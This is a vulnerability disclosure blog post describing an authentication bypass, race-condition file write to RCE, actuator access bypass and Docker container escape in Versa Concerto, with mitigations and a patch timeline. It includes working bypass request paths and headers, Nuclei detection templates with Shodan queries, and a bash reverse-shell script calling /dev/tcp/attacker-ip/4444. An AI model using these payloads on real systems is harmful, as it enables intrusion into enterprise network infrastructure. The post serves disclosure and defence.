<p>Versa Concerto is a widely used network security and SD-WAN orchestration platform, designed to provide seamless policy management, analytics, and automation for enterprises. With a growing customer base that includes large enterprises, service providers, and government entities, the security of this platform is critical. Given its extensive adoption and potential exposure to external threats, we initiated research to assess its security posture and uncover possible vulnerabilities.</p>

<p>Our research led to the discovery of multiple critical security flaws in Versa Concerto’s deployment. In this blog, we explore multiple vulnerabilities discovered in Versa Concerto, a Spring Boot-based application deployed via Docker containers and routed through Traefik.</p>

<ul>
  <li>Authentication bypass through URL decoding inconsistencies.</li>
  <li>Arbitrary file write vulnerabilities leading to remote code execution (RCE).</li>
  <li>Exploitation of a vulnerable Traefik version to bypass security restrictions and access Spring Boot Actuator endpoints.</li>
  <li>Docker container escape by leveraging misconfigured volume mappings to overwrite system binaries.</li>
</ul>

<p>These vulnerabilities, when chained together, could allow an attacker to fully compromise both the application and the underlying host system. This research highlights how small misconfigurations in modern cloud-based deployments can escalate into severe security risks, particularly for platforms handling sensitive network configurations and enterprise data.</p>

<h2 id="inconsistency-in-url-processing-to-auth-bypass">Inconsistency in URL processing to auth bypass</h2>

<p>Versa Concerto is deployed using multiple Docker containers, with the key ones being:</p>

<ul>
  <li>core-service</li>
  <li>web-service</li>
  <li>traefik</li>
</ul>

<p><img src="/assets/imported/Authentication-Bypass-to-RCE-in-Versa-Concerto/image-9.png" alt="" /></p>

<p>To understand the appliance’s routing, we start by analyzing the Traefik container. The Traefik container listens on ports 80/443, serving as the entry point for client requests. Based on location configurations, incoming requests are routed to either core-service or web-service. Both of these containers deploys Spring Boot embedded applications. We decompiled their code to audit their authentication mechanisms.</p>

<p>Our primary focus was the <strong>AuthenticationFilter</strong> class, which is typically responsible for handling authentication in Spring applications. Upon reviewing the decompiled code, we observed that certain paths were explicitly <strong>excluded</strong> from authentication:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">String</span> <span class="n">clienturi</span> <span class="o">=</span> <span class="nc">URIUtil</span><span class="o">.</span><span class="na">getNormalizeURI</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>
<span class="o">...</span>

<span class="k">if</span> <span class="o">(</span><span class="n">clienturi</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"/actuator"</span><span class="o">)</span> <span class="o">||</span> <span class="n">clienturi</span><span class="o">.</span><span class="na">endsWith</span><span class="o">(</span><span class="s">"/v1/ping"</span><span class="o">)</span> <span class="o">...)</span> <span class="o">{</span>
    <span class="n">skipAuth</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
<span class="o">}</span>

<span class="o">...</span>
</code></pre></div></div>

<p>However, we noticed an inconsistency between the authentication check and the actual URL being processed.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">static</span> <span class="nc">String</span> <span class="nf">getNormalizeURI</span><span class="o">(</span><span class="nc">HttpServletRequest</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">String</span> <span class="n">uri</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getRequestURI</span><span class="o">();</span>
    <span class="k">return</span> <span class="nf">removeExtraSlash</span><span class="o">(</span><span class="nc">URLDecoder</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="no">URI</span><span class="o">.</span><span class="na">create</span><span class="o">(</span><span class="n">uri</span><span class="o">).</span><span class="na">normalize</span><span class="o">().</span><span class="na">toString</span><span class="o">(),</span> <span class="nc">StandardCharsets</span><span class="o">.</span><span class="na">UTF_8</span><span class="o">));</span>
<span class="o">}</span>
</code></pre></div></div>

<ul>
  <li>During the authentication check, the <strong>REQUEST_URI</strong> undergoes <strong>URL decoding</strong>.</li>
  <li>However, the URL is processed <strong>without decoding</strong> to the controllers.</li>
  <li>This introduces a <strong>Time-of-Check to Time-of-Use (TOCTOU)</strong> issue, leading to an authentication bypass.</li>
</ul>

<p>Bypassing authentication is possible using a request URL like - <code class="language-plaintext highlighter-rouge">/portalapi/v1/users/username/admin;%2fv1%2fping</code></p>

<h2 id="finding-endpoint-without-authorization-checks">Finding endpoint without authorization checks</h2>

<p>After discovering the authentication bypass, we analyzed the authorization mechanisms across the services. Most endpoints enforced strict authorization checks by validating the user’s assigned role. As a result, we were unable to access the majority of critical endpoints within the core-service. Only a handful of endpoints were exposed without authorization checks, but they did not provide a viable path for privilege escalation.</p>

<p>Shifting our focus to the web-service, we identified an endpoint related to package uploads <code class="language-plaintext highlighter-rouge">/portalapi/v1/package/spack/upload</code> that appeared to be vulnerable to arbitrary file writes. The logic within this endpoint suggested that we could write files to an arbitrary location on the system, making it a promising vector for further exploitation.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@PostMapping</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="o">{</span><span class="s">"spack/upload"</span><span class="o">},</span> <span class="n">produces</span> <span class="o">=</span> <span class="o">{</span><span class="s">"application/json"</span><span class="o">},</span> <span class="n">consumes</span> <span class="o">=</span> <span class="o">{</span><span class="s">"multipart/form-data"</span><span class="o">})</span>
<span class="nd">@ResponseBody</span>
<span class="nd">@ResponseStatus</span><span class="o">(</span><span class="nc">HttpStatus</span><span class="o">.</span><span class="na">ACCEPTED</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">ResponseEntity</span><span class="o">&lt;?&gt;</span> <span class="n">upload</span><span class="o">(</span><span class="nc">HttpServletRequest</span> <span class="n">httpRequest</span><span class="o">,</span> <span class="nc">HttpServletResponse</span> <span class="n">httpResponse</span><span class="o">,</span> <span class="nd">@RequestParam</span><span class="o">(</span><span class="n">name</span> <span class="o">=</span> <span class="s">"spackFile"</span><span class="o">,</span> <span class="n">required</span> <span class="o">=</span> <span class="kc">true</span><span class="o">)</span> <span class="nc">MultipartFile</span> <span class="n">spackFile</span><span class="o">,</span> <span class="nd">@RequestParam</span><span class="o">(</span><span class="n">name</span> <span class="o">=</span> <span class="s">"spackChecksumFile"</span><span class="o">,</span> <span class="n">required</span> <span class="o">=</span> <span class="kc">true</span><span class="o">)</span> <span class="nc">MultipartFile</span> <span class="n">spackChecksumFile</span><span class="o">,</span> <span class="nd">@RequestParam</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="s">"updatetype"</span><span class="o">,</span> <span class="n">defaultValue</span> <span class="o">=</span> <span class="s">"full"</span><span class="o">)</span> <span class="nc">String</span> <span class="n">updateType</span><span class="o">,</span> <span class="nd">@RequestParam</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="s">"flavour"</span><span class="o">,</span> <span class="n">defaultValue</span> <span class="o">=</span> <span class="s">"premium"</span><span class="o">)</span> <span class="nc">String</span> <span class="n">flavour</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="nc">String</span> <span class="n">spackFilePath</span> <span class="o">=</span> <span class="s">"/var/versa/ecp/share/files/"</span> <span class="o">+</span> <span class="n">spackFile</span><span class="o">.</span><span class="na">getOriginalFilename</span><span class="o">();</span>
    <span class="nc">String</span> <span class="n">spackSigFilePath</span> <span class="o">=</span> <span class="s">"/var/versa/ecp/share/files/"</span> <span class="o">+</span> <span class="n">spackChecksumFile</span><span class="o">.</span><span class="na">getOriginalFilename</span><span class="o">();</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="n">copyPackage</span><span class="o">(</span><span class="n">spackFile</span><span class="o">,</span> <span class="n">spackFilePath</span><span class="o">);</span> <span class="o">[</span><span class="mi">1</span><span class="o">]</span>
        <span class="n">copyPackage</span><span class="o">(</span><span class="n">spackChecksumFile</span><span class="o">,</span> <span class="n">spackSigFilePath</span><span class="o">);</span> <span class="o">[</span><span class="mi">2</span><span class="o">]</span>
        <span class="nc">String</span> <span class="n">bearerToken</span> <span class="o">=</span> <span class="nc">UserContextHolder</span><span class="o">.</span><span class="na">getContext</span><span class="o">().</span><span class="na">getUserAccessTken</span><span class="o">();</span> <span class="o">[</span><span class="mi">3</span><span class="o">]</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">bearerToken</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
           <span class="o">...</span>
        <span class="o">}</span>
        <span class="nc">Status</span> <span class="n">status</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Status</span><span class="o">();</span>
        <span class="n">status</span><span class="o">.</span><span class="na">setStatus</span><span class="o">(</span><span class="s">"Bearer Token empty"</span><span class="o">);</span>
        <span class="k">return</span> <span class="k">new</span> <span class="nc">ResponseEntity</span><span class="o">&lt;&gt;(</span><span class="n">status</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">INTERNAL_SERVER_ERROR</span><span class="o">);</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">Files</span><span class="o">.</span><span class="na">deleteIfExists</span><span class="o">(</span><span class="nc">Paths</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">spackFilePath</span><span class="o">,</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="mi">0</span><span class="o">]));</span> <span class="o">[</span><span class="mi">4</span><span class="o">]</span>
        <span class="nc">Files</span><span class="o">.</span><span class="na">deleteIfExists</span><span class="o">(</span><span class="nc">Paths</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">spackSigFilePath</span><span class="o">,</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="mi">0</span><span class="o">]));</span> <span class="o">[</span><span class="mi">5</span><span class="o">]</span>
        <span class="n">logger</span><span class="o">.</span><span class="na">error</span><span class="o">(</span><span class="s">"Error while uploading Spack"</span><span class="o">,</span> <span class="o">(</span><span class="nc">Throwable</span><span class="o">)</span> <span class="n">e</span><span class="o">);</span>
        <span class="k">return</span> <span class="nf">handleException</span><span class="o">(</span><span class="n">e</span><span class="o">,</span> <span class="n">httpRequest</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>

<span class="kd">private</span> <span class="kd">synchronized</span> <span class="kt">void</span> <span class="nf">copyPackage</span><span class="o">(</span><span class="nc">MultipartFile</span> <span class="n">uploadFile</span><span class="o">,</span> <span class="nc">String</span> <span class="n">filePath</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="nc">Files</span><span class="o">.</span><span class="na">deleteIfExists</span><span class="o">(</span><span class="nc">Paths</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">filePath</span><span class="o">,</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="mi">0</span><span class="o">]));</span>
    <span class="nc">InputStream</span> <span class="n">inputStream</span> <span class="o">=</span> <span class="n">uploadFile</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">();</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="nc">Files</span><span class="o">.</span><span class="na">copy</span><span class="o">(</span><span class="n">inputStream</span><span class="o">,</span> <span class="nc">Paths</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">filePath</span><span class="o">,</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="mi">0</span><span class="o">]),</span> <span class="k">new</span> <span class="nc">CopyOption</span><span class="o">[</span><span class="mi">0</span><span class="o">]);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">inputStream</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">inputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
        <span class="o">}</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Throwable</span> <span class="n">th</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">inputStream</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">try</span> <span class="o">{</span>
                <span class="n">inputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
            <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Throwable</span> <span class="n">th2</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">th</span><span class="o">.</span><span class="na">addSuppressed</span><span class="o">(</span><span class="n">th2</span><span class="o">);</span>
            <span class="o">}</span>
        <span class="o">}</span>
        <span class="k">throw</span> <span class="n">th</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Despite the apparent vulnerability, there was a significant obstacle. While the file was successfully written to disk at [1] and [2], it was immediately deleted inside a try/catch block at [4] an [5]. If any exception occurred during execution, the application would trigger a cleanup process that removed the uploaded file. Specifically, right after writing the file at [1] and [2], the code tried to retrieve the access token from current user context at [3]. This check resulted in a null pointer exception, which in turn caused the deletion of our written file at [4] and [5].</p>

<p>Even though the file was being deleted almost instantly, there’s a brief window of time in which an arbitrary file write was possible. This introduced the possibility of a race condition, which could potentially be exploited to use the written file to cause remote code execution.</p>

<h2 id="race-condition--remote-code-execution">Race Condition / Remote Code Execution</h2>

<p>Initially, we considered exploiting the vulnerability by writing a web shell to the web root. However, since this was a <strong>Spring Boot embedded application</strong>, it did not follow the traditional file-serving structure, meaning we couldn’t simply drop a shell and execute it as we would in a typical web application.</p>

<p>After ruling out this approach, we explored the possibility of leveraging cron jobs for execution. However, upon further investigation, we discovered that the <strong>web-service container did not have cron set up</strong>, eliminating this option as well. This forced us to rethink our strategy and look for alternative execution methods.</p>

<p>We then utilized an <strong>LD_PRELOAD</strong> trick to achieve remote code execution. Our approach involved overwriting ../../../../../../etc/ld.so.preload with a path pointing to /tmp/hook.so. Simultaneously, we uploaded /tmp/hook.so, which contained a compiled C binary for a reverse shell. Since our request triggered <strong>two file write operations</strong>, we leveraged this to ensure that both files were written within the same request.</p>

<p>Once these files were successfully written, any command execution on the system while both persisted would result in the execution of /tmp/hook.so, thereby giving us a reverse shell. While looking for a suitable trigger, we observed that a <strong>curl command was being executed every 10 seconds</strong> within the web-service container to check the container’s health status.</p>

<p>Knowing this, we continuously sent requests to write both ../../../../../../etc/ld.so.preload and /tmp/hook.so in a way that created a race condition. Our goal was to ensure that at the exact moment the health check executed, both files would be present on the system. Once all three conditions aligned—the presence of ld.so.preload, the malicious shared object, and a triggered system command—we successfully achieved <strong>remote code execution (RCE)</strong>.</p>

<p>Your browser does not support the video tag.</p>

<h2 id="actuator-endpoint-authentication-bypass-to-admin">Actuator endpoint authentication bypass to Admin</h2>

<p>While analyzing the authentication filter, we noticed that access control for certain endpoints, including the <strong>Spring Boot Actuator</strong> endpoints, relied on the presence of the <code class="language-plaintext highlighter-rouge">X-Real-Ip</code> header. Specifically, if this header was set, the application performed an additional check to determine whether access should be granted.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">String</span> <span class="n">clientReapIp</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getHeader</span><span class="o">(</span><span class="s">"X-Real-Ip"</span><span class="o">);</span>
<span class="o">...</span>

<span class="k">if</span> <span class="o">(</span><span class="nc">StringUtils</span><span class="o">.</span><span class="na">isNotBlank</span><span class="o">(</span><span class="n">clientReapIp</span><span class="o">))</span> <span class="o">{</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">clinturi</span><span class="o">.</span><span class="na">toLowerCase</span><span class="o">().</span><span class="na">contains</span><span class="o">(</span><span class="s">"/actuator"</span><span class="o">))</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">springBootAuditUtil</span><span class="o">.</span><span class="na">extractAuditInfo</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>
        <span class="n">logger</span><span class="o">.</span><span class="na">warn</span><span class="o">(</span><span class="s">"Blocked external access to actuator uri={} from source ip={}"</span><span class="o">,</span> <span class="n">clinturi</span><span class="o">,</span> <span class="n">clientReapIp</span><span class="o">);</span>
        <span class="n">audit</span><span class="o">.</span><span class="na">setReadableText</span><span class="o">(</span><span class="s">"Blocked access to /actuator for external source IP="</span> <span class="o">+</span> <span class="n">clientReapIp</span><span class="o">);</span>
        <span class="n">audit</span><span class="o">.</span><span class="na">setObjectType</span><span class="o">(</span><span class="s">"Actuator"</span><span class="o">);</span>
        <span class="n">audit</span><span class="o">.</span><span class="na">setTenantName</span><span class="o">(</span><span class="nc">GraphConstant</span><span class="o">.</span><span class="na">DEFAULT_TENANT</span><span class="o">);</span>
        <span class="n">response</span><span class="o">.</span><span class="na">setStatus</span><span class="o">(</span><span class="nc">HttpStatus</span><span class="o">.</span><span class="na">FORBIDDEN</span><span class="o">.</span><span class="na">value</span><span class="o">());</span>
        <span class="n">response</span><span class="o">.</span><span class="na">getWriter</span><span class="o">().</span><span class="na">write</span><span class="o">(</span><span class="s">"{ \"message\": \"Access denied to /actuator.\"}"</span><span class="o">);</span>
        <span class="n">audit</span><span class="o">.</span><span class="na">setStatus</span><span class="o">(</span><span class="nc">HttpStatus</span><span class="o">.</span><span class="na">FORBIDDEN</span><span class="o">.</span><span class="na">toString</span><span class="o">());</span>
        <span class="k">return</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">...</span>
</code></pre></div></div>

<p>This logic ensures that if an external request contains <code class="language-plaintext highlighter-rouge">X-Real-Ip</code>, and the request URI contains /actuator, access is explicitly denied.</p>

<p>As previously mentioned, client requests are initially sent to the <strong>Traefik reverse proxy</strong>, which then forwards them to the <strong>Spring Boot applications running on Tomcat</strong>. Traefik automatically sets the <code class="language-plaintext highlighter-rouge">X-Real-Ip</code> header when forwarding requests, meaning that external requests are always flagged as originating from an external source.</p>

<p>However, we identified a hop-by-hop header handling vulnerability in the version of Traefik in use. This issue, documented in <a href="https://github.com/traefik/traefik/security/advisories/GHSA-62c8-mh53-4cqv">Traefik Security Advisory GHSA-62c8-mh53-4cqv</a>, allows an attacker to drop specific headers that would otherwise be added by Traefik.</p>

<p>By leveraging this issue, we can <strong>drop the X-Real-Ip header</strong> from the forwarded request. Without this header, the access control logic is <strong>never triggered</strong>, and we can access restricted actuator endpoints.</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/actuator</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">&lt;Host&gt;</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">X-Real-IP</span>
</code></pre></div></div>

<p>By setting <code class="language-plaintext highlighter-rouge">Connection: X-Real-IP</code>, we instruct Traefik to <strong>drop</strong> the X-Real-Ip header before forwarding the request to the backend. Since the authentication logic depends on this header’s presence, the request bypasses the security check, granting us direct access to the <strong>/actuator</strong> endpoints.</p>

<p>This allows to get plain text credentials via downloading heap-dump or/else directly access logs via <code class="language-plaintext highlighter-rouge">/portalapi/actuator/traces</code> that would directly disclose logged user session tokens and login into appliance as admin. Once you become an admin, there are various routes available to get Remote Code Execution such as by uploading a security package.</p>

<h2 id="web-service-docker-container-escape">Web-service docker container escape</h2>

<p>We also observed a critical misconfiguration that allowed us to escape from web-service docker container and gain execution on the host machine.</p>

<p>On Ubuntu systems, a default cron job exists under <code class="language-plaintext highlighter-rouge">/etc/cron.d/popularity-contest</code>, designed to gather usage statistics on installed Debian packages. This cron job executes every hour on the host machine, running a shell script that makes use of commands such as test, touch, and cd.</p>

<p>Ordinarily, this wouldn’t pose a security risk. However, in this case, we discovered that the core-service docker container had <code class="language-plaintext highlighter-rouge">/usr/bin/</code> and <code class="language-plaintext highlighter-rouge">/bin/</code> directories directly mapped to the host’s filesystem. This meant that any changes made to binaries within the container would also apply to the host system.</p>

<p>With root access inside the container, we leveraged this misconfiguration to overwrite one of the frequently used binaries (test) with a malicious shell script. This ensured that when the popularity-contest cron job executed on the host, our payload would be triggered.</p>

<p>With full control over the mapped system binaries, we replaced /usr/bin/test with a script that initiated a reverse shell:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
bash <span class="nt">-i</span> <span class="o">&gt;</span>&amp; /dev/tcp/attacker-ip/4444 0&gt;&amp;1
</code></pre></div></div>

<p>Make the script executable and wait for the hourly cron job to execute. As expected, when the cron job ran, it called our malicious test binary, granting us a reverse shell on the <strong>Concerto host system</strong>.</p>

<h2 id="nuclei-templates">Nuclei templates</h2>

<p><strong>Versa Concerto API Auth Bypass:</strong></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">id</span><span class="pi">:</span> <span class="s">CVE-2025-34027</span>

<span class="na">info</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">Versa Concerto API Path Based - Authentication Bypass</span>
  <span class="na">author</span><span class="pi">:</span> <span class="s">iamnoooob,rootxharsh,parthmalhotra,pdresearch</span>
  <span class="na">severity</span><span class="pi">:</span> <span class="s">critical</span>
  <span class="na">description</span><span class="pi">:</span> <span class="pi">|</span>
    <span class="s">Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.</span>
  <span class="na">reference</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/</span>
    <span class="pi">-</span> <span class="s">https://versa-networks.com/documents/datasheets/versa-concerto.pdf</span>
    <span class="pi">-</span> <span class="s">https://www.cve.org/CVERecord?id=CVE-2025-34027</span>
    <span class="pi">-</span> <span class="s">https://security-portal.versa-networks.com/emailbulletins/6830fa3f28defa375486ff2f</span>
  <span class="na">classification</span><span class="pi">:</span>
    <span class="na">epss-score</span><span class="pi">:</span> <span class="m">0.04812</span>
    <span class="na">epss-percentile</span><span class="pi">:</span> <span class="m">0.89005</span>
    <span class="na">cpe</span><span class="pi">:</span> <span class="s">cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*</span>
  <span class="na">metadata</span><span class="pi">:</span>
    <span class="na">verified</span><span class="pi">:</span> <span class="kc">true</span>
    <span class="na">vendor</span><span class="pi">:</span> <span class="s">versa-networks</span>
    <span class="na">product</span><span class="pi">:</span> <span class="s">concerto</span>
    <span class="na">max-request</span><span class="pi">:</span> <span class="m">1</span>
    <span class="na">shodan-query</span><span class="pi">:</span> <span class="s">http.favicon.hash:-534530225</span>
  <span class="na">tags</span><span class="pi">:</span> <span class="s">cve,cve2025,versa,concerto,auth-bypass,vkev,vuln</span>

<span class="na">http</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">raw</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="pi">|</span>
        <span class="s">GET /portalapi/v1/roles/option;%2fv1%2fping HTTP/1.1</span>
        <span class="s">Host: </span>

    <span class="na">matchers-condition</span><span class="pi">:</span> <span class="s">and</span>
    <span class="na">matchers</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">type</span><span class="pi">:</span> <span class="s">word</span>
        <span class="na">part</span><span class="pi">:</span> <span class="s">body</span>
        <span class="na">words</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="s">ENTERPRISE_ADMINISTRATOR</span>

      <span class="pi">-</span> <span class="na">type</span><span class="pi">:</span> <span class="s">word</span>
        <span class="na">part</span><span class="pi">:</span> <span class="s">header</span>
        <span class="na">words</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="s">EECP-CSRF-TOKEN</span>
<span class="c1"># digest: 4a0a00473045022100874e1d825ccf8febc4e0a2b959b9f4d9cca806155d2a8ccfaf8e9d04d4f0a5f602203c68736e72da44753646cd9389ac072b532fc31984d7b29840f51578ee70ae20:922c64590222798bb761d5b6d8e72950</span>
</code></pre></div></div>

<p><strong>Versa Concerto Actuator Auth Bypass:</strong></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">id</span><span class="pi">:</span> <span class="s">CVE-2025-34026</span>

<span class="na">info</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">Versa Concerto Actuator Endpoint - Authentication Bypass</span>
  <span class="na">author</span><span class="pi">:</span> <span class="s">iamnoooob,rootxharsh,parthmalhotra,pdresearch</span>
  <span class="na">severity</span><span class="pi">:</span> <span class="s">critical</span>
  <span class="na">description</span><span class="pi">:</span> <span class="pi">|</span>
    <span class="s">An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.</span>
  <span class="na">reference</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/</span>
    <span class="pi">-</span> <span class="s">https://security-portal.versa-networks.com/emailbulletins/6830f94328defa375486ff2e</span>
    <span class="pi">-</span> <span class="s">https://www.cve.org/CVERecord?id=CVE-2025-34026</span>
  <span class="na">classification</span><span class="pi">:</span>
    <span class="na">epss-score</span><span class="pi">:</span> <span class="m">0.09939</span>
    <span class="na">epss-percentile</span><span class="pi">:</span> <span class="m">0.92715</span>
    <span class="na">cpe</span><span class="pi">:</span> <span class="s">cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*</span>
  <span class="na">metadata</span><span class="pi">:</span>
    <span class="na">verified</span><span class="pi">:</span> <span class="kc">true</span>
    <span class="na">vendor</span><span class="pi">:</span> <span class="s">versa-networks</span>
    <span class="na">product</span><span class="pi">:</span> <span class="s">concerto</span>
    <span class="na">max-request</span><span class="pi">:</span> <span class="m">1</span>
    <span class="na">shodan-query</span><span class="pi">:</span> <span class="s">http.favicon.hash:-534530225</span>
  <span class="na">tags</span><span class="pi">:</span> <span class="s">versa,concerto,actuator,auth-bypass,springboot,cve,cve2025,vkev,vuln</span>

<span class="na">http</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">raw</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="pi">|</span>
        <span class="s">GET /portalapi/actuator HTTP/1.1</span>
        <span class="s">Host: </span>
        <span class="s">Connection: X-Real-Ip</span>

    <span class="na">matchers-condition</span><span class="pi">:</span> <span class="s">and</span>
    <span class="na">matchers</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">type</span><span class="pi">:</span> <span class="s">word</span>
        <span class="na">part</span><span class="pi">:</span> <span class="s">body</span>
        <span class="na">words</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="s">heapdump</span>

      <span class="pi">-</span> <span class="na">type</span><span class="pi">:</span> <span class="s">word</span>
        <span class="na">part</span><span class="pi">:</span> <span class="s">header</span>
        <span class="na">words</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="s">EECP-CSRF-TOKEN</span>
<span class="c1"># digest: 4b0a00483046022100ad944aab44a5b722fc1a096bd6db3e2cb077d34cf51a4ee93ea5c16115d7aa0f022100f95a74bd04c8528995d9820d73655ba6f7202b4f019056888bd1adc97ddbf409:922c64590222798bb761d5b6d8e72950</span>
</code></pre></div></div>

<h2 id="mitigation">Mitigation</h2>

<p>Organizations can implement temporary remediation measures at the reverse proxy or Web Application Firewall (WAF) levels to mitigate the risk posed by the identified authentication bypass vulnerabilities. Here are two recommended actions:</p>

<ol>
  <li><strong>Block Semicolons in URL Paths:</strong> Implement a rule to block any incoming requests that contain a semicolon (<code class="language-plaintext highlighter-rouge">;</code>) in the URL path. This measure will help prevent exploitation of the URL decoding inconsistency that allows authentication bypass.</li>
  <li><strong>Drop Requests with Specific Connection Headers:</strong> Configure your reverse proxy or WAF to drop any requests where the <code class="language-plaintext highlighter-rouge">Connection</code> header contains the value <code class="language-plaintext highlighter-rouge">X-Real-Ip</code> (case insensitive). This will mitigate the vulnerability that allows unauthorized access to Spring Boot Actuator endpoints by manipulating the <code class="language-plaintext highlighter-rouge">X-Real-Ip</code> header.</li>
</ol>

<p>By applying these temporary measures, organizations can reduce the risk of exploitation. It is crucial to monitor network traffic and logs for any suspicious activity and to keep security teams informed of these interim protections.</p>

<h2 id="disclosure-timeline">Disclosure Timeline</h2>

<p>We disclosed multiple vulnerabilities to the Versa Concerto team and maintained communication over a 90-day period. Below is a summary of the disclosure process and patching timeline:</p>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Feb 13, 2025</td>
      <td>Vulnerabilities reported to the Versa Concerto team with a 90-day disclosure timeline.</td>
    </tr>
    <tr>
      <td>Feb 15, 2025</td>
      <td>Acknowledgement received; team requested additional info and mentioned eagerness to patch.</td>
    </tr>
    <tr>
      <td>Feb 17, 2025</td>
      <td>Additional details provided; team stated they would patch all affected releases soon.</td>
    </tr>
    <tr>
      <td>Mar 7, 2025</td>
      <td>Versa released hot fixes for the reported issues.</td>
    </tr>
    <tr>
      <td> </td>
      <td>- CVE-2025-34025 Patch</td>
    </tr>
    <tr>
      <td> </td>
      <td>- CVE-2025-34026 Patch</td>
    </tr>
    <tr>
      <td> </td>
      <td>- CVE-2025-34027 Patch</td>
    </tr>
    <tr>
      <td>May 21, 2025</td>
      <td>Published this blog post.</td>
    </tr>
    <tr>
      <td>May 21, 2025</td>
      <td>VulnCheck assigned CVEs for the reported issues:</td>
    </tr>
    <tr>
      <td> </td>
      <td>- CVE-2025-34025 : Insecure Docker Mount → Container Escape</td>
    </tr>
    <tr>
      <td> </td>
      <td>- CVE-2025-34026 : Actuator Authentication Bypass → Information Leak</td>
    </tr>
    <tr>
      <td> </td>
      <td>- CVE-2025-34027 : Authentication Bypass → File Write → RCE</td>
    </tr>
  </tbody>
</table>

<h2 id="conclusion">Conclusion</h2>

